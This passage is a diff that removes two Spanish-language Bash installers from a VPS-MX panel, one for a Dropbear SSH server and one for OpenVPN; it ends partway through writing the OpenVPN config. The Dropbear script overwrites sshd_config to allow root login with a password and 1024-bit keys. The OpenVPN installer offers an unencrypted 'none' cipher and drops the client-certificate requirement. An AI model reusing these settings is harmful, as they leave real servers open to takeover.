-#25/01/2021
-clear
-clear
-SCPdir="/etc/VPS-MX"
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] && exit
-declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
-mportas() {
-    unset portas
-    portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
-    while read port; do
-        var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
-        [[ "$(echo -e $portas | grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
-    done <<<"$portas_var"
-    i=1
-    echo -e "$portas"
-}
-fun_ip() {
-    if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
-        IP="$(cat /etc/VPS-MX/MEUIPvps)"
-    else
-        MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
-        MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
-        [[ "$MEU_IP" != "$MEU_IP" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
-        echo "$MEU_IP" >/etc/VPS-MX/MEUIPvps
-    fi
-}
-fun_eth() {
-    eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
-    [[ $eth != "" ]] && {
-        msg -bar
-        echo -e "${cor[3]} $(fun_trans "Aplicar Mejoras Para Mejorar Paquetes SSH?")"
-        echo -e "${cor[3]} $(fun_trans "Opcion Para Usuarios Avanzados")"
-        msg -bar
-        read -p " [S/N]: " -e -i n sshsn
-        [[ "$sshsn" = @(s|S|y|Y) ]] && {
-            echo -e "${cor[1]} $(fun_trans "Correccion de problemas de paquetes en SSH...")"
-            echo -e " $(fun_trans "Cual es la tasa RX")"
-            echo -ne "[ 1 - 999999999 ]: "
-            read rx
-            [[ "$rx" = "" ]] && rx="999999999"
-            echo -e " $(fun_trans "Cual es la tasa TX")"
-            echo -ne "[ 1 - 999999999 ]: "
-            read tx
-            [[ "$tx" = "" ]] && tx="999999999"
-            apt-get install ethtool -y >/dev/null 2>&1
-            ethtool -G $eth rx $rx tx $tx >/dev/null 2>&1
-        }
-        msg -bar
-    }
-}
-
-fun_bar() {
-    comando="$1"
-    _=$(
-        $comando >/dev/null 2>&1
-    ) &
-    >/dev/null
-    pid=$!
-    while [[ -d /proc/$pid ]]; do
-        echo -ne " \033[1;33m["
-        for ((i = 0; i < 20; i++)); do
-            echo -ne "\033[1;31m##"
-            sleep 0.8
-        done
-        echo -ne "\033[1;33m]"
-        sleep 1s
-        echo
-        tput cuu1 && tput dl1
-    done
-    echo -ne " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m\n"
-    sleep 1s
-}
-fun_dropbear() {
-    [[ -e /etc/default/dropbear ]] && {
-        msg -bar
-        echo -e "\033[1;32m $(fun_trans ${id} "REMOVIENDO DROPBEAR")"
-        msg -bar
-        service dropbear stop &
-        >/dev/null 2>&1
-        fun_bar "apt-get remove dropbear -y"
-        msg -bar
-        echo -e "\033[1;32m $(fun_trans "Dropbear Removido")"
-        msg -bar
-        [[ -e /etc/default/dropbear ]] && rm /etc/default/dropbear
-        return 0
-    }
-    msg -bar
-    msg -tit
-    echo -e "\033[1;32m $(fun_trans "   INSTALADOR DROPBEAR | VPS-MX")"
-    msg -bar
-    echo -e "\033[1;31m $(fun_trans "Seleccione Puertos Validados en orden secuencial:\n")\033[1;32m 22 80 81 82 85 90\033[1;37m"
-    msg -bar
-    echo -ne "\033[1;31m $(fun_trans "Digite  Puertos"): \033[1;37m" && read DPORT
-    tput cuu1 && tput dl1
-    TTOTAL=($DPORT)
-    for ((i = 0; i < ${#TTOTAL[@]}; i++)); do
-        [[ $(mportas | grep "${TTOTAL[$i]}") = "" ]] && {
-            echo -e "\033[1;33m $(fun_trans "Puerto Elegido:")\033[1;32m ${TTOTAL[$i]} OK"
-            PORT="$PORT ${TTOTAL[$i]}"
-        } || {
-            echo -e "\033[1;33m $(fun_trans "Puerto Elegido:")\033[1;31m ${TTOTAL[$i]} FAIL"
-        }
-    done
-    [[ -z $PORT ]] && {
-        echo -e "\033[1;31m $(fun_trans "Ningun Puerto Valida Fue Elegido")\033[0m"
-        return 1
-    }
-    #sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/      //' | grep -o Ubuntu)
-    [[ ! $(cat /etc/shells | grep "/bin/false") ]] && echo -e "/bin/false" >>/etc/shells
-
-    echo -e "Port 22
- Protocol 2
- KeyRegenerationInterval 3600
- ServerKeyBits 1024
- SyslogFacility AUTH
- LogLevel INFO
- LoginGraceTime 120
- PermitRootLogin yes
- StrictModes yes
- RSAAuthentication yes
- PubkeyAuthentication yes
- IgnoreRhosts yes
- RhostsRSAAuthentication no
- HostbasedAuthentication no
- PermitEmptyPasswords no
- ChallengeResponseAuthentication no
- PasswordAuthentication yes
- PermitTunnel yes
- X11Forwarding yes
- X11DisplayOffset 10
- PrintMotd no
- PrintLastLog yes
- TCPKeepAlive yes
- #UseLogin no
- AcceptEnv LANG LC_*
- Subsystem sftp /usr/lib/openssh/sftp-server
- UsePAM yes" >/etc/ssh/sshd_config
-    msg -bar
-    echo -e "${cor[2]} $(fun_trans ${id} "Iniciando Instalacion dropbear")"
-    msg -bar
-    apt-get install dropbear -y &>/dev/null && echo -e "\033[1;33m[\033[1;31mINSTALANDO DROPBEAR\033[1;33m] - \033[1;32m100%\033[0m" | pv -qL10
-    msg -bar
-    [[ ! -d /etc/dropbear ]] && mkdir /etc/dropbear
-    touch /etc/dropbear/banner
-    msg -bar
-    echo -e "${cor[2]} $(fun_trans ${id} "Configurando dropbear")"
-    cat <<EOF >/etc/default/dropbear
- NO_START=0
- DROPBEAR_EXTRA_ARGS="VAR"
- DROPBEAR_BANNER="/etc/dropbear/banner"
- DROPBEAR_RECEIVE_WINDOW=65536
-EOF
-    for dpts in $(echo $PORT); do
-        sed -i "s/VAR/-p $dpts VAR/g" /etc/default/dropbear
-    done
-    sed -i "s/VAR//g" /etc/default/dropbear
-
-    #fun_eth
-    service ssh restart >/dev/null 2>&1
-    service dropbear restart >/dev/null 2>&1
-    echo -e "${cor[3]} $(fun_trans "Su dropbear ha sido configurado con EXITO")"
-    msg -bar
-    #UFW
-    for ufww in $(mportas | awk '{print $2}'); do
-        ufw allow $ufww >/dev/null 2>&1
-    done
-}
-fun_dropbear

+ 0 - 858
SCRIPT-v8.5x Mod/VPS-MX/protocolos/openvpn.sh

@@ -1,858 +0,0 @@
-#!/bin/bash
-#25/01/2021
-clear
-clear
-msg -bar
-SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] && exit
-SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma}
-#timedatectl set-timezone UTC
-# Detect Debian users running the script with "sh" instead of bash
-if readlink /proc/$$/exe | grep -q "dash"; then
-	echo "Este script se utiliza con bash"
-	exit
-fi
-
-if [[ "$EUID" -ne 0 ]]; then
-	echo "Sorry, solo funciona como root"
-	exit
-fi
-
-if [[ ! -e /dev/net/tun ]]; then
-	echo "El TUN device no esta disponible
- Necesitas habilitar TUN antes de usar este script"
-	exit
-fi
-
-if [[ -e /etc/debian_version ]]; then
-	OS=debian
-	GROUPNAME=nogroup
-	RCLOCAL='/etc/rc.local'
-elif [[ -e /etc/centos-release || -e /etc/redhat-release ]]; then
-	OS=centos
-	GROUPNAME=nobody
-	RCLOCAL='/etc/rc.d/rc.local'
-else
-	echo "Tu sistema operativo no esta disponible para este script"
-	exit
-fi
-
-agrega_dns() {
-	msg -ama " Escriba el HOST DNS que desea Agregar"
-	read -p " [NewDNS]: " SDNS
-	cat /etc/hosts | grep -v "$SDNS" >/etc/hosts.bak && mv -f /etc/hosts.bak /etc/hosts
-	if [[ -e /etc/opendns ]]; then
-		cat /etc/opendns >/tmp/opnbak
-		mv -f /tmp/opnbak /etc/opendns
-		echo "$SDNS" >>/etc/opendns
-	else
-		echo "$SDNS" >/etc/opendns
-	fi
-	[[ -z $NEWDNS ]] && NEWDNS="$SDNS" || NEWDNS="$NEWDNS $SDNS"
-	unset SDNS
-}
-mportas() {
-	unset portas
-	portas_var=$(lsof -V -i -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND")
-	while read port; do
-		var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
-		[[ "$(echo -e $portas | grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
-	done <<<"$portas_var"
-	i=1
-	echo -e "$portas"
-}
-dns_fun() {
-	case $1 in
-	3) dns[$2]='push "dhcp-option DNS 1.0.0.1"' ;;
-	4) dns[$2]='push "dhcp-option DNS 1.1.1.1"' ;;
-	5) dns[$2]='push "dhcp-option DNS 9.9.9.9"' ;;
-	6) dns[$2]='push "dhcp-option DNS 1.1.1.1"' ;;
-	7) dns[$2]='push "dhcp-option DNS 80.67.169.40"' ;;
-	8) dns[$2]='push "dhcp-option DNS 80.67.169.12"' ;;
-	9) dns[$2]='push "dhcp-option DNS 84.200.69.80"' ;;
-	10) dns[$2]='push "dhcp-option DNS 84.200.70.40"' ;;
-	11) dns[$2]='push "dhcp-option DNS 208.67.222.222"' ;;
-	12) dns[$2]='push "dhcp-option DNS 208.67.220.220"' ;;
-	13) dns[$2]='push "dhcp-option DNS 8.8.8.8"' ;;
-	14) dns[$2]='push "dhcp-option DNS 8.8.4.4"' ;;
-	15) dns[$2]='push "dhcp-option DNS 77.88.8.8"' ;;
-	16) dns[$2]='push "dhcp-option DNS 77.88.8.1"' ;;
-	17) dns[$2]='push "dhcp-option DNS 176.103.130.130"' ;;
-	18) dns[$2]='push "dhcp-option DNS 176.103.130.131"' ;;
-	esac
-}
-meu_ip() {
-	if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
-		echo "$(cat /etc/VPS-MX/MEUIPvps)"
-	else
-		MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
-		MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
-		[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP"
-		echo "$MEU_IP" >/etc/VPS-MX/MEUIPvps
-	fi
-}
-IP="$(meu_ip)"
-
-instala_ovpn2() {
-	msg -bar3
-	clear
-	msg -bar
-	msg -tit
-	echo -e "\033[1;32m     INSTALADOR DE OPENVPN | VPS-MX By @Kalix1"
-	msg -bar
-	# OpenVPN setup and first user creation
-	echo -e "\033[1;97mSe necesitan ciertos parametros para configurar OpenVPN."
-	echo "Configuracion por default solo presiona ENTER."
-	echo "Primero, cual es la IPv4 que quieres para OpenVPN"
-	echo "Detectando..."
-	msg -bar
-	# Autodetect IP address and pre-fill for the user
-	IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
-	read -p "IP address: " -e -i $IP IP
-	# If $IP is a private IP address, the server must be behind NAT
-	if echo "$IP" | grep -qE '^(10\.|172\.1[6789]\.|172\.2[0-9]\.|172\.3[01]\.|192\.168)'; then
-		echo
-		echo "Este servidor esta detras de una red NAT?"
-		read -p "IP  Publica  / hostname: " -e PUBLICIP
-	fi
-	msg -bar
-	msg -ama "Que protocolo necesitas para las conexiones OpenVPN?"
-	msg -bar
-	echo "   1) UDP (recomendada)"
-	echo "   2) TCP"
-	msg -bar
-	read -p "Protocolo [1-2]: " -e -i 1 PROTOCOL
-	case $PROTOCOL in
-	1)
-		PROTOCOL=udp
-		;;
-	2)
-		PROTOCOL=tcp
-		;;
-	esac
-	msg -bar
-	msg -ama "Que puerto necesitas en OpenVPN (Default 1194)?"
-	msg -bar
-	read -p "Puerto: " -e -i 1194 PORT
-	msg -bar
-	msg -ama "Cual DNS usaras en tu VPN?"
-	msg -bar
-	echo "   1) Actuales en el VPS"
-	echo "   2) 1.1.1.1"
-	echo "   3) Google"
-	echo "   4) OpenDNS"
-	echo "   5) Verisign"
-	msg -bar
-	read -p "DNS [1-5]: " -e -i 1 DNS
-	#CIPHER
-	msg -bar
-	msg -ama " Elija que codificacion desea para el canal de datos:"
-	msg -bar
-	echo "   1) AES-128-CBC"
-	echo "   2) AES-192-CBC"
-	echo "   3) AES-256-CBC"
-	echo "   4) CAMELLIA-128-CBC"
-	echo "   5) CAMELLIA-192-CBC"
-	echo "   6) CAMELLIA-256-CBC"
-	echo "   7) SEED-CBC"
-	echo "   8) NONE"
-	msg -bar
-	while [[ $CIPHER != @([1-8]) ]]; do
-		read -p " Cipher [1-7]: " -e -i 1 CIPHER
-	done
-	case $CIPHER in
-	1) CIPHER="cipher AES-128-CBC" ;;
-	2) CIPHER="cipher AES-192-CBC" ;;
-	3) CIPHER="cipher AES-256-CBC" ;;
-	4) CIPHER="cipher CAMELLIA-128-CBC" ;;
-	5) CIPHER="cipher CAMELLIA-192-CBC" ;;
-	6) CIPHER="cipher CAMELLIA-256-CBC" ;;
-	7) CIPHER="cipher SEED-CBC" ;;
-	8) CIPHER="cipher none" ;;
-	esac
-	msg -bar
-	msg -ama " Estamos listos para configurar su servidor OpenVPN"
-	msg -bar
-	read -n1 -r -p "Presiona cualquier tecla para continuar..."
-	if [[ "$OS" = 'debian' ]]; then
-		apt-get update
-		apt-get install openvpn iptables openssl ca-certificates -y
-	else
-		#
-		yum install epel-release -y
-		yum install openvpn iptables openssl ca-certificates -y
-	fi
-	# Get easy-rsa
-	EASYRSAURL='https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.8/EasyRSA-3.0.8.tgz'
-	wget -O ~/easyrsa.tgz "$EASYRSAURL" 2>/dev/null || curl -Lo ~/easyrsa.tgz "$EASYRSAURL"
-	tar xzf ~/easyrsa.tgz -C ~/
-	mv ~/EasyRSA-3.0.8/ /etc/openvpn/
-	mv /etc/openvpn/EasyRSA-3.0.8/ /etc/openvpn/easy-rsa/
-	chown -R root:root /etc/openvpn/easy-rsa/
-	rm -f ~/easyrsa.tgz
-	cd /etc/openvpn/easy-rsa/
-	#
-	./easyrsa init-pki
-	./easyrsa --batch build-ca nopass
-	./easyrsa gen-dh
-	./easyrsa build-server-full server nopass
-	EASYRSA_CRL_DAYS=3650 ./easyrsa gen-crl
-	#
-	cp pki/ca.crt pki/private/ca.key pki/dh.pem pki/issued/server.crt pki/private/server.key pki/crl.pem /etc/openvpn
-	#
-	chown nobody:$GROUPNAME /etc/openvpn/crl.pem
-	#
-	openvpn --genkey --secret /etc/openvpn/ta.key
-	#
-	echo "port $PORT
- proto $PROTOCOL
- dev tun
- sndbuf 0
- rcvbuf 0
- ca ca.crt
- cert server.crt
- key server.key
- dh dh.pem
- auth SHA512
- tls-auth ta.key 0
- topology subnet
- server 10.8.0.0 255.255.255.0
- ifconfig-pool-persist ipp.txt" >/etc/openvpn/server.conf
-	echo 'push "redirect-gateway def1 bypass-dhcp"' >>/etc/openvpn/server.conf
-	# DNS
-	case $DNS in
-	1)
-		#
-		#
-		if grep -q "127.0.0.53" "/etc/resolv.conf"; then
-			RESOLVCONF='/run/systemd/resolve/resolv.conf'
-		else
-			RESOLVCONF='/etc/resolv.conf'
-		fi
-		#
-		grep -v '#' $RESOLVCONF | grep 'nameserver' | grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | while read line; do
-			echo "push \"dhcp-option DNS $line\"" >>/etc/openvpn/server.conf
-		done
-		;;
-	2)
-		echo 'push "dhcp-option DNS 1.1.1.1"' >>/etc/openvpn/server.conf
-		echo 'push "dhcp-option DNS 1.0.0.1"' >>/etc/openvpn/server.conf
-		;;
-	3)
-		echo 'push "dhcp-option DNS 8.8.8.8"' >>/etc/openvpn/server.conf
-		echo 'push "dhcp-option DNS 8.8.4.4"' >>/etc/openvpn/server.conf
-		;;
-	4)
-		echo 'push "dhcp-option DNS 208.67.222.222"' >>/etc/openvpn/server.conf
-		echo 'push "dhcp-option DNS 208.67.220.220"' >>/etc/openvpn/server.conf
-		;;
-	5)
-		echo 'push "dhcp-option DNS 64.6.64.6"' >>/etc/openvpn/server.conf
-		echo 'push "dhcp-option DNS 64.6.65.6"' >>/etc/openvpn/server.conf
-		;;
-	esac
-
-	echo "keepalive 10 120
- ${CIPHER}
- user nobody
- group $GROUPNAME
- persist-key
- persist-tun
- status openvpn-status.log
- verb 3
- crl-verify crl.pem" >>/etc/openvpn/server.conf
-	updatedb
-	PLUGIN=$(locate openvpn-plugin-auth-pam.so | head -1)
-	[[ ! -z $(echo ${PLUGIN}) ]] && {
-		echo "client-to-client
- client-cert-not-required
- username-as-common-name
- plugin $PLUGIN login" >>/etc/openvpn/server.conf
-	}
-	#
-	echo 'net.ipv4.ip_forward=1' >/etc/sysctl.d/30-openvpn-forward.conf
-	#
-	echo 1 >/proc/sys/net/ipv4/ip_forward
-	if pgrep firewalld; then
-		#
-		#
-		#
-		#
-		firewall-cmd --zone=public --add-port=$PORT/$PROTOCOL
-		firewall-cmd --zone=trusted --add-source=10.8.0.0/24
-		firewall-cmd --permanent --zone=public --add-port=$PORT/$PROTOCOL
-		firewall-cmd --permanent --zone=trusted --add-source=10.8.0.0/24
-		#
-		firewall-cmd --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
-		firewall-cmd --permanent --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
-	else
-		#
-		if [[ "$OS" = 'debian' && ! -e $RCLOCAL ]]; then
-			echo '#!/bin/sh -e
- exit 0' >$RCLOCAL
-		fi
-		chmod +x $RCLOCAL
-		#
-		iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
-		sed -i "1 a\iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP" $RCLOCAL
-		if iptables -L -n | grep -qE '^(REJECT|DROP)'; then
-			#
-			#
-			#
-			iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT
-			iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT
-			iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
-			sed -i "1 a\iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT" $RCLOCAL
-			sed -i "1 a\iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT" $RCLOCAL
-			sed -i "1 a\iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT" $RCLOCAL
-		fi
-	fi
-	#
-	if sestatus 2>/dev/null | grep "Current mode" | grep -q "enforcing" && [[ "$PORT" != '1194' ]]; then
-		#
-		if ! hash semanage 2>/dev/null; then
-			yum install policycoreutils-python -y
-		fi
-		semanage port -a -t openvpn_port_t -p $PROTOCOL $PORT
-	fi
-	#
-	if [[ "$OS" = 'debian' ]]; then
-		#
-		if pgrep systemd-journal; then
-			systemctl restart openvpn@server.service
-		else
-			/etc/init.d/openvpn restart
-		fi
-	else
-		if pgrep systemd-journal; then
-			systemctl restart openvpn@server.service
-			systemctl enable openvpn@server.service
-		else
-			service openvpn restart
-			chkconfig openvpn on
-		fi
-	fi
-	#
-	if [[ "$PUBLICIP" != "" ]]; then
-		IP=$PUBLICIP
-	fi
-	#
-	echo "# OVPN_ACCESS_SERVER_PROFILE=VPS-MX
- client
- dev tun
- proto $PROTOCOL
- sndbuf 0
- rcvbuf 0
- remote $IP $PORT
- resolv-retry infinite
- nobind
- persist-key
- persist-tun
- remote-cert-tls server
- auth SHA512
- ${CIPHER}
- setenv opt block-outside-dns
- key-direction 1
- verb 3
- auth-user-pass" >/etc/openvpn/client-common.txt
-	msg -bar
-	msg -ama " Ahora crear una SSH para generar el (.ovpn)!"
-	msg -bar
-	echo -e "\033[1;32m Configuracion Finalizada!"
-	msg -bar
-
-}
-
-instala_ovpn() {
-	parametros_iniciais() {
-		#Verifica o Sistema
-		[[ "$EUID" -ne 0 ]] && echo " Lo siento, usted necesita ejecutar esto como ROOT" && exit 1
-		[[ ! -e /dev/net/tun ]] && echo " TUN no esta Disponible" && exit 1
-		if [[ -e /etc/debian_version ]]; then
-			OS="debian"
-			VERSION_ID=$(cat /etc/os-release | grep "VERSION_ID")
-			IPTABLES='/etc/iptables/iptables.rules'
-			[[ ! -d /etc/iptables ]] && mkdir /etc/iptables
-			[[ ! -e $IPTABLES ]] && touch $IPTABLES
-			SYSCTL='/etc/sysctl.conf'
-			[[ "$VERSION_ID" != 'VERSION_ID="7"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="8"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="9"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="14.04"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="16.04"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="18.04"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="17.10"' ]] && {
-				echo " Su vercion de Debian / Ubuntu no Soportada."
-				while [[ $CONTINUE != @(y|Y|s|S|n|N) ]]; do
-					read -p "Continuar ? [y/n]: " -e CONTINUE
-				done
-				[[ "$CONTINUE" = @(n|N) ]] && exit 1
-			}
-		else
-			msg -ama " Parece que no estas ejecutando este instalador en un sistema Debian o Ubuntu"
-			msg -bar
-			return 1
-		fi
-		#Pega Interface
-		NIC=$(ip -4 route ls | grep default | grep -Po '(?<=dev )(\S+)' | head -1)
-
-	}
-	add_repo() {
-		#INSTALACAO E UPDATE DO REPOSITORIO
-		# Debian 7
-		if [[ "$VERSION_ID" = 'VERSION_ID="7"' ]]; then
-			echo "deb http://build.openvpn.net/debian/openvpn/stable wheezy main" >/etc/apt/sources.list.d/openvpn.list
-			wget -q -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - >/dev/null 2>&1
-		# Debian 8
-		elif [[ "$VERSION_ID" = 'VERSION_ID="8"' ]]; then
-			echo "deb http://build.openvpn.net/debian/openvpn/stable jessie main" >/etc/apt/sources.list.d/openvpn.list
-			wget -q -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - >/dev/null 2>&1
-		# Ubuntu 14.04
-		elif [[ "$VERSION_ID" = 'VERSION_ID="14.04"' ]]; then
-			echo "deb http://build.openvpn.net/debian/openvpn/stable trusty main" >/etc/apt/sources.list.d/openvpn.list
-			wget -q -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - >/dev/null 2>&1
-		# Ubuntu 16.04
-		elif [[ "$VERSION_ID" = 'VERSION_ID="16.04"' ]]; then
-			echo "deb http://build.openvpn.net/debian/openvpn/stable xenial main" >/etc/apt/sources.list.d/openvpn.list
-			wget -q -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - >/dev/null 2>&1
-		# Ubuntu 18.04
-		elif [[ "$VERSION_ID" = 'VERSION_ID="18.04"' ]]; then
-			apt-get remove openvpn -y >/dev/null 2>&1
-			rm -rf /etc/apt/sources.list.d/openvpn.list >/dev/null 2>&1
-			echo "deb http://build.openvpn.net/debian/openvpn/stable bionic main" >/etc/apt/sources.list.d/openvpn.list
-			wget -q -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - >/dev/null 2>&1
-		fi
-	}
-	coleta_variaveis() {
-		echo -e "\033[1;32m     INSTALADOR DE OPENVPN | VPS-MX By @Kalix1"
-		msg -bar
-		msg -ne " Confirme su IP"
-		read -p ": " -e -i $IP ip
-		msg -bar
-		msg -ama " Que puerto desea usar?"
-		msg -bar
-		while true; do
-			read -p " Port: " -e -i 1194 PORT
-			[[ $(mportas | grep -w "$PORT") ]] || break
-			echo -e "\033[1;33m Este puerto esta en uso\033[0m"
-			unset PORT
-		done
-		msg -bar
-		echo -e "\033[1;31m Que protocolo desea para las conexiones OPENVPN?"
-		echo -e "\033[1;31m A menos que UDP este bloqueado, no utilice TCP (es mas lento)"
-		#PROTOCOLO
-		while [[ $PROTOCOL != @(UDP|TCP) ]]; do
-			read -p " Protocol [UDP/TCP]: " -e -i TCP PROTOCOL
-		done
-		[[ $PROTOCOL = "UDP" ]] && PROTOCOL=udp
-		[[ $PROTOCOL = "TCP" ]] && PROTOCOL=tcp
-		#DNS
-		msg -bar
-		msg -ama " Que DNS desea utilizar?"
-		msg -bar
-		echo "   1) Usar DNS de sistema "
-		echo "   2) Cloudflare"
-		echo "   3) Quad"
-		echo "   4) FDN"
-		echo "   5) DNS.WATCH"
-		echo "   6) OpenDNS"
-		echo "   7) Google DNS"
-		echo "   8) Yandex Basic"
-		echo "   9) AdGuard DNS"
-		msg -bar
-		while [[ $DNS != @([1-9]) ]]; do
-			read -p " DNS [1-9]: " -e -i 1 DNS
-		done
-		#CIPHER
-		msg -bar
-		msg -ama " Elija que codificacion desea para el canal de datos:"
-		msg -bar
-		echo "   1) AES-128-CBC"
-		echo "   2) AES-192-CBC"
-		echo "   3) AES-256-CBC"
-		echo "   4) CAMELLIA-128-CBC"
-		echo "   5) CAMELLIA-192-CBC"
-		echo "   6) CAMELLIA-256-CBC"
-		echo "   7) SEED-CBC"
-		msg -bar
-		while [[ $CIPHER != @([1-7]) ]]; do
-			read -p " Cipher [1-7]: " -e -i 1 CIPHER
-		done
-		case $CIPHER in
-		1) CIPHER="cipher AES-128-CBC" ;;
-		2) CIPHER="cipher AES-192-CBC" ;;
-		3) CIPHER="cipher AES-256-CBC" ;;
-		4) CIPHER="cipher CAMELLIA-128-CBC" ;;
-		5) CIPHER="cipher CAMELLIA-192-CBC" ;;
-		6) CIPHER="cipher CAMELLIA-256-CBC" ;;
-		7) CIPHER="cipher SEED-CBC" ;;
-		esac
-		msg -bar
-		msg -ama " Estamos listos para configurar su servidor OpenVPN"
-		msg -bar
-		read -n1 -r -p " Enter para Continuar ..."
-		tput cuu1 && tput dl1
-	}
-	parametros_iniciais # BREVE VERIFICACAO
-	coleta_variaveis    # COLETA VARIAVEIS PARA INSTALAÇÃO
-	add_repo            # ATUALIZA REPOSITÓRIO OPENVPN E INSTALA OPENVPN
-	# Cria Diretorio
-	[[ ! -d /etc/openvpn ]] && mkdir /etc/openvpn
-	# Install openvpn
-	echo -ne " \033[1;31m[ ! ] apt-get update"
-	apt-get update -q >/dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-	echo -ne " \033[1;31m[ ! ] apt-get install openvpn curl openssl"
-	apt-get install -qy openvpn curl >/dev/null 2>&1 && apt-get install openssl ca-certificates -y >/dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-	SERVER_IP="$(meu_ip)" # IP Address
-	[[ -z "${SERVER_IP}" ]] && SERVER_IP=$(ip a | awk -F"[ /]+" '/global/ && !/127.0/ {print $3; exit}')
-	echo -ne " \033[1;31m[ ! ] Generating Server Config" # Gerando server.con
-	(
-		case $DNS in
-		1)
-			i=0
-			grep -v '#' /etc/resolv.conf | grep 'nameserver' | grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | while read line; do
-				dns[$i]="push \"dhcp-option DNS $line\""
-			done
-			[[ ! "${dns[@]}" ]] && dns[0]='push "dhcp-option DNS 8.8.8.8"' && dns[1]='push "dhcp-option DNS 8.8.4.4"'
-			;;
-		2) dns_fun 3 && dns_fun 4 ;;
-		3) dns_fun 5 && dns_fun 6 ;;
-		4) dns_fun 7 && dns_fun 8 ;;
-		5) dns_fun 9 && dns_fun 10 ;;
-		6) dns_fun 11 && dns_fun 12 ;;
-		7) dns_fun 13 && dns_fun 14 ;;
-		8) dns_fun 15 && dns_fun 16 ;;
-		9) dns_fun 17 && dns_fun 18 ;;
-		esac
-		echo 01 >/etc/openvpn/ca.srl
-		while [[ ! -e /etc/openvpn/dh.pem || -z $(cat /etc/openvpn/dh.pem) ]]; do
-			openssl dhparam -out /etc/openvpn/dh.pem 2048 &>/dev/null
-		done
-		while [[ ! -e /etc/openvpn/ca-key.pem || -z $(cat /etc/openvpn/ca-key.pem) ]]; do
-			openssl genrsa -out /etc/openvpn/ca-key.pem 2048 &>/dev/null
-		done
-		chmod 600 /etc/openvpn/ca-key.pem &>/dev/null
-		while [[ ! -e /etc/openvpn/ca-csr.pem || -z $(cat /etc/openvpn/ca-csr.pem) ]]; do
-			openssl req -new -key /etc/openvpn/ca-key.pem -out /etc/openvpn/ca-csr.pem -subj /CN=OpenVPN-CA/ &>/dev/null
-		done
-		while [[ ! -e /etc/openvpn/ca.pem || -z $(cat /etc/openvpn/ca.pem) ]]; do
-			openssl x509 -req -in /etc/openvpn/ca-csr.pem -out /etc/openvpn/ca.pem -signkey /etc/openvpn/ca-key.pem -days 365 &>/dev/null
-		done
-
-		cat >/etc/openvpn/server.conf <<EOF
-server 10.8.0.0 255.255.255.0
